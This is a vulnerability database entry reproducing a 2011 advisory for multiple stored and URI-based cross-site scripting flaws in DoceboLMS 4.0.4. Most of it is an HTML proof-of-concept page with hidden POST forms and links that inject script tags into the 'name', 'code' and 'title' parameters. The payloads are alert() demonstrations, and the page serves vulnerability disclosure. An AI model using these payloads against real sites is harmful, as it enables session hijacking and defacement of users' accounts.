DoceboLMS 4.0.4 - Multiple Stored XSS Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities affecting 'name', 'code' and 'title' parameters in index.php, allowing execution of HTML code in user's browser session. Vendor: Docebo, Product web page: http://www.docebo.org, Tested on: Microsoft Windows XP Professional SP3 (EN), Apache 2.2.14 (Win32), PHP 5.3.1, MySQL 5.1.41, Vulnerability discovered by Gjoko 'LiquidWorm' Krstic


                                                &#60;!--

DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities


Vendor: Docebo
Product web page: http://www.docebo.org
Affected version: 4.0.4 CE

Summary: DoceboLMS is a SCORM compliant Open Source e-Learning
platform used in corporate, government and education markets.

Desc: DoceboLMS suffers from multiple stored XSS vulnerabilities
pre and post auth. Input thru the POST parameters &#39;name&#39;, &#39;code&#39;
and &#39;title&#39; in index.php is not sanitized allowing the attacker
to execute HTML code into user&#39;s browser session on the affected
site. URI based XSS vulnerabilities are also present.

Tested on: Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41

Vulnerability discovered by Gjoko &#39;LiquidWorm&#39; Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5006
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5006.php


02.04.2011

--&#62;


&#60;html&#62;
&#60;title&#62;DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities&#60;/title&#62;
&#60;body bgcolor=&#34;#1C1C1C&#34;&#62;
&#60;script type=&#34;text/javascript&#34;&#62;
function xss1(){document.forms[&#34;xss1&#34;].submit();}
function xss2(){document.forms[&#34;xss2&#34;].submit();}
&#60;/script&#62;

&#60;br /&#62;&#60;br /&#62;

&#60;form action=&#34;http://localhost/DoceboLMS_404/doceboCore/index.php?modname=preassessment&op=modassessment&#34; enctype=&#34;application/x-www-form-urlencoded&#34; method=&#34;POST&#34; id=&#34;xss1&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;authentic_request&#34; value=&#34;23dfee506a748201730ab2bb7486e77a&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;code&#34; value=&#39;&#34;&#62;&#60;script&#62;alert(1)&#60;/script&#62;&#39; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;description&#34; value=&#34;ZSL&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;id_assess&#34; value=&#34;0&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;name&#34; value=&#39;&#34;&#62;&#60;script&#62;alert(2)&#60;/script&#62;&#39; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;save&#34; value=&#34;Save changes&#34; /&#62;&#60;/form&#62;
&#60;a href=&#34;javascript: xss1();&#34; style=&#34;text-decoration:none&#34;&#62;
&#60;b&#62;&#60;font color=&#34;red&#34;&#62;&#60;center&#62;&#60;h3&#62;Exploit PreAssessment Module!&#60;/h3&#62;&#60;/center&#62;&#60;/font&#62;&#60;/b&#62;&#60;/a&#62;&#60;br /&#62;&#60;br /&#62;

&#60;form action=&#34;http://localhost/DoceboLMS_404/doceboCore/index.php?modname=news&op=savenews&#34; enctype=&#34;application/x-www-form-urlencoded&#34; method=&#34;POST&#34; id=&#34;xss2&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;authentic_request&#34; value=&#34;23dfee506a748201730ab2bb7486e77a&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;language&#34; value=&#34;2&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;long_desc&#34; value=&#34;&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;news&#34; value=&#34;Insert&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;short_desc&#34; value=&#34;ZSL&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;title&#34; value=&#39;&#34;&#62;&#60;script&#62;alert(1)&#60;/script&#62;&#39; /&#62;&#60;/form&#62;
&#60;a href=&#34;javascript: xss2();&#34; style=&#34;text-decoration:none&#34;&#62;
&#60;b&#62;&#60;font color=&#34;red&#34;&#62;&#60;center&#62;&#60;h3&#62;Exploit News Module!&#60;/h3&#62;&#60;/center&#62;&#60;/font&#62;&#60;/b&#62;&#60;/a&#62;&#60;br /&#62;&#60;br /&#62;

&#60;a href=&#34;http://localhost/DoceboLMS_404/index.php?&#60;script&#62;alert(1)&#60;/script&#62;&#34; style=&#34;text-decoration:none&#34;&#62;
&#60;b&#62;&#60;font color=&#34;red&#34;&#62;&#60;center&#62;&#60;h3&#62;Exploit URI XSS #1&#60;/h3&#62;&#60;/center&#62;&#60;/font&#62;&#60;/b&#62;&#60;/a&#62;&#60;br /&#62;&#60;br /&#62;

&#60;a href=&#34;http://localhost/DoceboLMS_404/?&#60;script&#62;alert(1)&#60;/script&#62;&#34; style=&#34;text-decoration:none&#34;&#62;
&#60;b&#62;&#60;font color=&#34;red&#34;&#62;&#60;center&#62;&#60;h3&#62;Exploit URI XSS #2&#60;/h3&#62;&#60;/center&#62;&#60;/font&#62;&#60;/b&#62;&#60;/a&#62;&#60;br /&#62;&#60;br /&#62;

&#60;a href=&#34;http://localhost/DoceboLMS_404/docebolms/index.php/index.php?&#60;script&#62;alert(1)&#60;/script&#62;&#34; style=&#34;text-decoration:none&#34;&#62;
&#60;b&#62;&#60;font color=&#34;red&#34;&#62;&#60;center&#62;&#60;h3&#62;Exploit URI XSS #3&#60;/h3&#62;&#60;/center&#62;&#60;/font&#62;&#60;/b&#62;&#60;/a&#62;&#60;br /&#62;&#60;br /&#62;

&#60;a href=&#34;http://localhost/DoceboLMS_404/docebolms/?&#60;script&#62;alert(1)&#60;/script&#62;&#34; style=&#34;text-decoration:none&#34;&#62;
&#60;b&#62;&#60;font color=&#34;red&#34;&#62;&#60;center&#62;&#60;h3&#62;Exploit URI XSS #4&#60;/h3&#62;&#60;/center&#62;&#60;/font&#62;&#60;/b&#62;&#60;/a&#62;&#60;br /&#62;&#60;br /&#62;

&#60;/body&#62;&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1